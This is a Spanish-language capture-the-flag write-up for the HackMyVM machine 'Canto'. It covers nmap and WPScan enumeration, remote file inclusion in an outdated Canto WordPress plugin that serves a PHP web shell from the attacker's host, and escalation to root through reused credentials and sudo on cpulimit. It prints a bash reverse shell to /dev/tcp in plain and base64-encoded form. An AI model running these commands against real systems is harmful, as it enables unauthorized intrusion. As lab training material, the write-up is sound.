> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/writes-ups/hackmyvm/easy/canto.md).
# Canto
## Información de la máquina
Canto es una máquina fácil en el que el punto de entrada se basa en una instalación de WordPress vulnerable con un plugin desactualizado, lo que abre la puerta a una ejecución remota de código (RCE) sin necesidad de autenticación. A partir de ahí, se utilizan técnicas de post-explotación para escalar privilegios y comprometer completamente el sistema.
***
## Reconocimiento
La fase de **reconocimiento** es el primer paso a la hora de resolver una máquina. Su objetivo es recopilar la mayor cantidad de información posible sobre el sistema objetivo, permitiendo entender su estructura, tecnología y posibles vectores de ataque.
Para detectar la IP de la máquina victima, haremos un escaneo a nivel local con arp-scan:
Teniendo ya la IP, hacemos un ping a la máquina víctima para ver si está encendida y ante que nos enfrentamos.
Si recibimos respuesta, significa que la máquina está en línea. Además, observamos que el **TTL** (Time To Live) es 64, lo que indica que es un sistema Linux (normalmente, los sistemas Windows tienen un TTL de 128).
**1. `-p-` → Escaneo de todos los puertos (1-65535)**
Por defecto, `nmap` solo escanea los **1000 puertos más comunes**.\
Con `-p-`, forzamos a que escanee **los 65,535 puertos** de la máquina objetivo, lo que puede ser útil para encontrar servicios que corren en puertos poco convencionales.
**2. `--open` → Filtrar solo los puertos abiertos**
Cuando escaneamos un sistema, muchos puertos pueden estar cerrados o filtrados por un firewall.\
Este parámetro hace que `nmap` **solo muestre los puertos abiertos**, reduciendo el ruido y facilitando el análisis.
**3. `-sS` → Stealth Scan (Escaneo Sigiloso con SYN)**
Es conocido como **"TCP SYN Scan"**, y funciona de la siguiente manera:
* `nmap` envía un paquete **SYN** (solicitud de conexión).
* Si el puerto está abierto, el servidor responde con **SYN-ACK**.
* En lugar de completar la conexión con un **ACK**, `nmap` responde con un **RST (Reset)**, interrumpiendo la comunicación.
**4. `--min-rate 5000` → Velocidad mínima de paquetes (5000 por segundo)**
Por defecto, `nmap` ajusta dinámicamente la velocidad de los paquetes según la respuesta de la red.\
Con `--min-rate 5000`, obligamos a `nmap` a **no enviar menos de 5000 paquetes por segundo**, acelerando el escaneo.
**5. `-n` → Deshabilitar resolución DNS**
Normalmente, `nmap` intenta resolver el nombre de dominio de las IPs escaneadas (DNS lookup).\
Con `-n`, evitamos esta resolución de nombres, lo que **acelera el escaneo** y evita que los servidores DNS registren nuestra actividad.
**6. `-Pn` → Omitir detección de host (Host Discovery Off)**
Por defecto, `nmap` envía paquetes ICMP (ping) para ver si un host está activo antes de escanearlo.\
Si un firewall bloquea los pings, `nmap` puede marcarlo como "host down" y no escanearlo.
**7. `-oG`** **→ Exportar el contenido en formato grepeable**
Todo el resultado del escaneo lo exportaremos en un archivo llamado **`puertos` .**
El escaneo revela que el puerto 80 está abierto. Ahora realizamos un escaneo más detallado:
**1. `-p80` → Escaneo de puertos específicos**
Con `-p80`, le indicamos que **solo** escanee los puertos **80 (HTTP)**
**2. `-sCV` → Escaneo de versiones y scripts básicos**
Este parámetro en realidad es **dos combinaciones en una**:
* **`-sC`** → Activa los **NSE scripts por defecto** en `nmap` (similar a usar `--script=default`).\
Ejecuta scripts básicos para enumerar información del servicio detectado, como banners, versiones, etc.
* **`-sV`** → Realiza **fingerprinting de versiones**, intentando identificar la versión exacta del software en cada puerto abierto.
**3. `-oN` → Guardar el resultado en formato Normal**
Por defecto, `nmap` muestra los resultados en pantalla, pero con **`-oN targeted`**, guardamos el resultado en un archivo en **formato legible para humanos**.
Antes de visitar la web, useremos la herramienta `whatweb`, para saber que tecnologías usa esta página, u otra información relevante.
Vemos que estamos ante un posible wordpress.
Tambien cambiaremos el /etc/hosts para que nos resuelva el dominio.
Visitamos la página web
***
## Enumeración y búsqueda de vulnerabilidades
Realizamos una enumeración de directorios y archivos utilizando GoBuster para identificar posibles recursos accesibles en la página web.
Durante el escaneo, identificamos archivos pertenecientes a una instalación de WordPress, lo cual ya habíamos intuido previamente mediante WhatWeb. Para profundizar en esta línea, realizamos un análisis con WPScan con el objetivo de descubrir plugins vulnerables instalados en el sitio.
```bash
wpscan --url http://canto.hmvm/ -e vp --api-token "xUPg.....whY0" --plugins-detection aggressive
```
```java
[i] Plugin(s) Identified:
[+] canto
| Location: http://canto.hmvm/wp-content/plugins/canto/
| Last Updated: 2024-07-17T04:18:00.000Z
| Readme: http://canto.hmvm/wp-content/plugins/canto/readme.txt
| [!] The version is out of date, the latest version is 3.0.9
|
| Found By: Known Locations (Aggressive Detection)
| - http://canto.hmvm/wp-content/plugins/canto/, status: 200
|
| [!] 4 vulnerabilities identified:
|
| [!] Title: Canto <= 3.0.8 - Unauthenticated Blind SSRF
| References:
| - https://wpscan.com/vulnerability/29c89cc9-ad9f-4086-a762-8896eba031c6
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28976
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28977
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28978
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24063
| - https://gist.github.com/p4nk4jv/87aebd999ce4b28063943480e95fd9e0
|
| [!] Title: Canto < 3.0.5 - Unauthenticated Remote File Inclusion
| Fixed in: 3.0.5
| References:
| - https://wpscan.com/vulnerability/9e2817c7-d4aa-4ed9-a3d7-18f3117ed810
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3452
|
| [!] Title: Canto < 3.0.7 - Unauthenticated RCE
| Fixed in: 3.0.7
| References:
| - https://wpscan.com/vulnerability/1595af73-6f97-4bc9-9cb2-14a55daaa2d4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25096
| - https://patchstack.com/database/vulnerability/canto/wordpress-canto-plugin-3-0-6-unauthenticated-remote-code-execution-rce-vulnerability
|
| [!] Title: Canto < 3.0.9 - Unauthenticated Remote File Inclusion
| Fixed in: 3.0.9
| References:
| - https://wpscan.com/vulnerability/3ea53721-bdf6-4203-b6bc-2565d6283159
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4936
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/95a68ae0-36da-499b-a09d-4c91db8aa338
|
| Version: 3.0.4 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://canto.hmvm/wp-content/plugins/canto/readme.txt
| Confirmed By: Composer File (Aggressive Detection)
| - http://canto.hmvm/wp-content/plugins/canto/package.json, Match: '3.0.4'
```
El resultado del escaneo revela la presencia del plugin “Canto”, que se encuentra en una versión desactualizada. WPScan identifica que se trata de la versión 3.0.4, mientras que la más reciente es la 3.0.9.
Además, se detectan varias vulnerabilidades críticas en versiones anteriores de este plugin, incluyendo una ejecución remota de código (RCE) y múltiples inclusiones remotas de archivos (RFI), todas sin necesidad de autenticación.
Entre las vulnerabilidades encontradas, destaca una RFI que permite cargar archivos maliciosos desde un servidor controlado por el atacante. Investigando un poco más, encontramos un repositorio que demuestra cómo aprovechar esta vulnerabilidad.
PoC:
La vulnerabilidad puede explotarse realizando una solicitud que apunte a nuestro servidor, permitiendo que el plugin descargue e interprete archivos PHP.
```java
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080
```
Al analizar la solicitud, observamos que el servidor intenta acceder a `/wp-admin/admin.php`. Esto indica que si creamos un directorio `wp-admin` y colocamos un archivo `admin.php` con código PHP malicioso, este será descargado y ejecutado.
Un ejemplo de código que podemos utilizar en el archivo sería una simple web-shell en PHP que nos permite ejecutar comandos de forma remota
```bash
mkdir wp-admin
cd wp-admin
nvim admin.php
```
```php
```
Montamos un servidor web con Python en el puerto 8080 y observamos cómo el sistema vulnerable realiza correctamente la solicitud, lo que confirma que la inclusión remota de archivos es efectiva.
***
## Explotación de las vulnerabilidades
Para agilizar el proceso de explotación, optamos por automatizarlo mediante el uso de un script.
Encontramos un exploit en Searchsploit que aprovecha esta vulnerabilidad de RFI y también permite una ejecución remota de comandos (RCE). El mismo repositorio previamente identificado también nos puede servir.
Este exploit requiere una reverse shell en PHP, por lo que buscamos una adecuada y modificamos los parámetros necesarios, como nuestra IP y el puerto a utilizar.
Cambiamos los parámetros que nos piden.
Nos ponemos en escucha desde nuestra máquina, ejecutamos el script y logramos establecer una reverse shell desde la máquina víctima.
Para obtener una sesión más estable e interactiva, generamos una reverse shell en bash y la codificamos en base64 para facilitar su ejecución:
```bash
echo "bash -i >&/dev/tcp/192.168.1.186/4444 0>&1" | base64
```
Obtenemos la cadena codificada y la ejecutamos en la máquina víctima con el siguiente comando, que incluye la decodificación y ejecución directa mediante `bash`:
```bash
echo "YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMS4xODYvNDQ0NCAwPiYxCg==" | base64 -d | bash
```
Al realizar esto, conseguimos una shell más estable como el usuario `www-data`, y tratamos la[ TTY](/4lec4st/docs/tratamiento-de-la-tty.md) para mejorar la interacción con la terminal.
***
## Post Explotación y escalada de privilegios
Al explorar el sistema, descubrimos la existencia de un usuario llamado `erik`.
Dentro del entorno de este usuario, localizamos una carpeta llamada `notes` que contiene dos archivos de posible interés.
Como las páginas web generalmente se ubican en el directorio `/var`, revisamos su contenido y encontramos una carpeta `wordpress`, así como un archivo que incluye credenciales del usuario `erik`.Las páginas web, normalmente estan en el directorio /var, por lo que revisando ese directorio, vi una carpeta wordpress y un archivo con credenciales de erik
Utilizando esta contraseña, logramos cambiar al usuario `erik`, obteniendo así un nuevo nivel de acceso.
Al seguir enumerando el sistema como `erik`, identificamos que tiene permisos sudo sobre el binario `cpulimit`.
Consultamos la plataforma GTFOBins para este binario, y confirmamos que puede utilizarse para escalar privilegios hasta root.
Ejecutamos el comando indicado y conseguimos acceso como usuario root, con lo que ya podemos visualizar la flag final y declarar la máquina como completamente comprometida.
***
## Conclusión
La debilidad principal fue un plugin de WordPress vulnerable que permitió una inclusión remota de archivos y posterior ejecución de comandos en el sistema, otorgándonos una shell como `www-data`.\
Gracias a una correcta post-explotación, logramos encontrar credenciales reutilizadas para escalar al usuario `erik` y, finalmente, mediante permisos `sudo` sobre un binario mal configurado (`cpulimit`), conseguimos acceso como `root`.